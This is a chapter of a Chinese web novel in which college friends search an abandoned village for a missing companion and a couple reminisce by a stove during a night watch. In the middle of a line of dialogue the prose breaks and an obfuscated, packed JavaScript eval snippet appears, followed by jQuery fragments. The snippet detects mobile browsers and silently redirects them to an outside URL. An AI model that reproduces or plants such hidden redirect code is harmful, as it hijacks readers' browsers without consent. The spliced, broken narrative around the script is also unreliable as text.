16. 第十五章:消失

作品:《山坟

    距离华悠悠失踪已经过去十几个小时,荒村天光大亮。


    第五页等人在村子里翻了个遍,几乎翻找了这个村子每一个房子,每一寸地皮。


    甚至曹永朝还下了一趟水,潜入他们进村的那个水潭,可惜没找到山洞,也没看见华悠悠的影子。


    他们找了很久,一直找到一天的时间快要过去。


    失踪许久的华悠悠终于回来了。


    第五页是在住的土房门口碰见她的,对方从荒村上方的小路下来。


    整个人状态差得不行,身上像是在泥地里滚过一样,没一处干净的地方,走路摇晃晃,仿佛能随时一头栽进旁边的水沟里。


    远远瞧见人影,她大声唤了下她的名,“华悠悠!”


    以平生最快的速度跑过去接住她。


    华悠悠眼皮一闭一掀,好似还没睡醒,呢喃般抬头回应她,“叶子。”


    第五页皱紧的眉毛就没松开过,忙问道,“这是怎么回事?你去哪了?”


    在她身上压了一会的华悠悠像是又突然清醒过来,缓缓站直身子,打了个哈欠,“好累,我好困啊叶子,你让我回去睡一下好不好。”边说着边继续摇摇晃晃往他们住的那间土房走去。


    没办法,第五页只能回着她先回了房子。


    回到土房内,华悠悠更是一句话没说,便推开房门,连被子都没来得及盖,翻身上床,两眼一闭睡了过去。


    第五页担忧地在床边转了许久,还小心翼翼地上前探了探她的鼻息,好在呼吸是平稳的,她真的只是睡了过去。


    这么说,她真的只是累了?


    这孩子一晚上到底去干什么了?怎么浑身这么脏?


    同时,屋外传来动静。


    是宋英杰他们回来了。


    他们在荒村的另一边听见她的喊声,以最快的速度回来,踏进堂屋,便看见第五页从房间里出来,焦急忙问,“华悠悠回来了?”


    第五页点了点头,冷着脸,“嗯,回来了。”


    “这一晚上她到底去哪了?怎么不出来?是受伤了吗?”曹永朝跟在后面问。


    她回忆了下刚才华悠悠的全身的样子,又摇摇头,“没有受伤。但她身上很脏,像是在泥地里滚过一样,嘴里喊着好困好累,一回房间倒头就睡了,我还没来得及问她。”


    裴桐问:“你是在哪里遇见的她?”


    “就是门口那条路。”第五页答:“我看见她从上面下来,走路也摇摇晃晃的。”


    宋英杰敛了敛眉,“我记得那条路通往荒村后面的山。华悠悠消失了一整个晚上和半个白天就是进山了?”带着点不太确定。


    曹永朝抓了抓脑袋,不明白他们在说什么,“你们在说什么啊?什么进山?我怎么有点糊涂?”


    “华悠悠大晚上不睡觉进山干什么?”疑惑的眼神在他们之间扫来扫去。


    第五页抿了抿唇回答他,“这就要等华悠悠醒后再问她了。”


    “不过看样子她像是在山里走了一整个晚上,现在是拼着最后一点念头回到的荒村,困得不行,还是让她好好补一觉吧。”


    其他人默认了她的想法,接下来的时间就是等华悠悠醒来。


    或许等到她醒来,他们心中一切的谜题便能迎刃而解。


    然而这一等,就从白天等到了晚上。


    害怕队伍里再有人莫名其妙地消失,宋英杰作为社团社长,安排队伍的其他人开始轮流守夜,两个人一支队伍。


    宋英杰和曹永朝守前半夜,第五页和裴桐守后半夜。


    睡觉前,她又去看了眼华悠悠。


    对方还是睡得很沉的样子,轻声唤她,也只是半梦半醒地呢喃说好累。


    第五页只能趁她醒神片刻,快速帮她换掉身上的脏衣服,拿来取暖的衣物,还看对方嘴唇干裂,拿来棉签蘸点水抹了抹。


    晚上,第五页并没有睡太久,心里想着事,睡眠很浅,很快被一阵轻叩的敲门声吵醒。


    迅速起身,下床看了眼华悠悠,随后过去开门。


    门外站着裴桐。


    后者看着她平静说:“宋英杰和曹永朝已经回去睡了。华悠悠怎么样?”


    她偏头看了眼屋内,叹气,“还是那样。”


    转头看他,“走,出去说吧。”


    说完离开房间,掩上门。


    两人在堂屋找了个位置,大门虚掩着,偶尔会有凉风透进来。


    守夜是很无聊的事,第五页跟裴桐聊了下下午到晚上华悠悠的情况,还是没分析出个所以然。


    而裴桐也不是个话多的性子,两人就这么安静地坐着。


    直到第五页坐的那个地方不知是漏风还是怎么的,背部总感觉有一股寒意吹来,坐得久了不自觉地打两个哆嗦,咳嗽两声。


    旁边裴桐听见她咳嗽,脸色立马就变了。


    起身,悄声回了房间,出来时手中还拿着那个熟悉的保温杯,递给她,声音带着不容拒绝的强硬,“喝药。”


    第五页这次没有过多跟他打浑,本身也觉得身体有些不舒服,平静地说了声谢谢,然后接过保温杯,喝了药。


    见她喝完药,裴桐像是忽然想到了什么,冷声说了句,“等等,我给你看个东西。”


    说完便拉开堂屋大门出去,绕到房子后边,悉悉索索,不知在翻找着什么。


    片刻后,搬了个膝盖高的烧火炉回来。


    还有几根沾染上潮意霉菌的手腕粗的短木柴。


    瞧见那烧火炉,第五页登时眼睛一亮,“这火炉……跟我家姥姥那个好像。”


    看见熟悉的老物件,她的思绪也像是被拉到了过去。


    第五页初中以前和姥姥一起在乡下生活,各种下河摸鱼、上树掏鸟蛋,养成了天不怕地不怕肆无忌惮的性格。初中的时候,被父母接到县城,和裴桐做起了邻居,上同一所初中、高中。


    而因为她的胆子太大,各种招惹祸事,父母不求她成绩有多好,只求她能世俗意义上的安生一点,所以经常安排她和裴桐俩小孩待在一起。


    然而这反而给了第五页春心萌动的机会,高中的时候少女心作祟,再加上裴桐本身也有一副还算好看的皮囊。


    学习好,长得好。


    她觉得如果裴桐做她的男友的话,应该不会太丢面子,于是开启了长达一年的穷追猛打,直到高中毕业两人才正式在一起。


    至于他们关于这炉子的共同记忆,第五页还记得那是高三的时候,寒假前的一个月考,她由于那一个月每天晚上忙着打游戏,最后成绩出来的时候,不出意外是差强人意。


    拿到成绩,她不敢回家,一直在外面逛到天黑。


    最后是裴桐在车站找到的她,他问她为什么不回家,她什么话也不说,直到一辆大巴停在两人面前。


    第五页忽然猛地抓住他的手腕,将他拽上了车。


    两人就这样乘坐着这辆大巴车,摇摇晃晃回到了乡下她姥姥家。


    那个晚上,第五页姥姥刚从村子里某家吃完酒席回来,路过村口的时候,瞧见他俩从车上下来又是生气又是高兴,边数落着边把他们带回去,给双方父母打电话。


    那个夜晚,第五页姥姥也是翻出这样一个烤火炉,将炉子里的炉灰倒掉一半,边烧火边给他俩一人烤了一个红薯,同时炉子上方还压上铁网,烤焦了两个糍粑,香香的、烫烫的,捧在手间。两小孩光顾着吃,都没时间说话。


    后来回去,第五页自然是被狠狠数落了一通,不过在高三的最后阶段,她还是凭靠着边补课边努力学习,最后和裴桐考上了同一所大学。


    现实中,瞧见她也认出这个炉子。


    裴桐脸上稍稍带上笑意,说:“这个炉子是我在房子后边找到的,就是好像很久没人用里面都生锈了,还有厚厚的一层炉灰,我刚倒掉一半,可惜没在村子里找到野生的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086540|195170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地瓜。”


    边说着边将手中的东西放到堂屋两人中间。


    第五页兴奋地围着他,看他把烧火炉搬进来,然后接过他手中的两根潮湿木柴,怀疑地晃了晃,“这个烧得燃吗?”


    “不清楚,试试吧。”裴桐摇摇头,也不确定地说。


    于是两人打开堂屋大门,拿了一小撮引火的东西,就这么围着烧火炉尝试将潮湿木柴点燃。


    他们一共试了三次,最后一次里面才隐隐有烧起来的迹象,此时距离他们把烧火炉搬进来已经过了一个多小时,两人的手指冻得有些发麻。


    不过见火烧起来,他们脸上又不自觉地漫上喜色,两双又红又脏的手小心翼翼地贴近有微弱暖意的炉口。


    第五页和裴桐交换眼神,两人都不自觉地想到他们当初在乡下姥姥家待的那个夜晚,也是这样坐了好久的车,手指都冻麻了。


    姥姥把他们带回去,支起烧火炉。


    他们就这样围坐在火炉边,拼命汲取温暖。


    那时候第五页也是像现在这样笑着,没心没肺地露出一口白牙,仿佛遇到什么事也不会害怕。


    见她笑,裴桐跟着弯了弯唇。


    第五页知道他是跟自己一样想到了什么时候,笑着说:“真是不知道那时候我怎么想的。要说我胆子大的话,成绩没考好居然不敢回家,要说我胆子小,却又敢拽着你一路坐车跑到我姥姥家。”


    裴桐想说,你一定是胆子大,不然也不敢跑到这鸟不拉屎的地方来,不过他最终还是什么都没说,只是静静地看着她。


    像是突然想起什么来,第五页眼中微弱的火光闪了闪,“对了,你那时候怎么会就任由我拽着走啊?”


    按理来说,那个时候高三,裴桐已经长得很高了。虽然第五页本身力气不小,但挣脱她的拉扯应该是很容易的事。


    想到这,她像是现在才恍然,眯了眯眼睛,略带挑逗意味地看向他,“难道我之前追你那么久,其实你在那个时候就对我动心了,想借着这个由头跟我私奔?”


    不知是被她的话逗笑,还是默认她的想法,裴桐唇角带上弧度,坦荡又遮掩道,“可能吧。”


    第五页撇了撇嘴。


    没从他嘴里撬出答案,她也不泄气,反而将注意力全部转回到烧火炉上,潮湿的木头烧起来还是太费劲了,需要人不停地往里面灌输空气,否则会有烟飘出来。


    她从房间角落搜罗出一把破旧扇子,轻轻地在火炉边摇着。


    但扇了几下都不得劲,反而将更多的烟雾扇了出来。


    裴桐坐在她对面,握拳咳嗽两声。


    哑着声音说:“我来吧。”自然而然地接过她手中的扇子。


    于是第五页又把这活心安理得地转交给了他。


    或许是这样的气氛太过适合谈心,他们也很久没有向对方说过自己最近内心的想法。


    扇了一会,裴桐突然冷不丁问道,“等你在这个村子找到你想要的东西,并且出去后有什么想做的吗?”


    第五页看他,突然乐了,打趣说:“你这话听起来怎么像让我立电影里临死前的flag啊。”


    笑了两声后,正经又不正经地答:“我是没什么想做的,等找到东西和出去再说吧。”


    “你呢?你想做什么吗?”余光瞥了下他。


    “我想……”扇着扇着,裴桐瞳孔忽地出神,直到呛人的烟雾熏到眼睛,才继续缓慢又轻声道,“我想……如果你想分手的话,一定要提前告诉我。”


    第五页脸上的笑猛地一停,有点没听清他说的话。


    脑袋像是一瞬间空掉,站在一个空荡荡的房间里,大声喊要隔许久才能听到她的回声。


    她想抬头问他这是什么意思。


    一抬头,却只看见对方一脸严肃地望向她背后。


    她顺着对方的眼神回头,瞧见双眼无神的曹永朝不知何时无声地贴着她的脊背。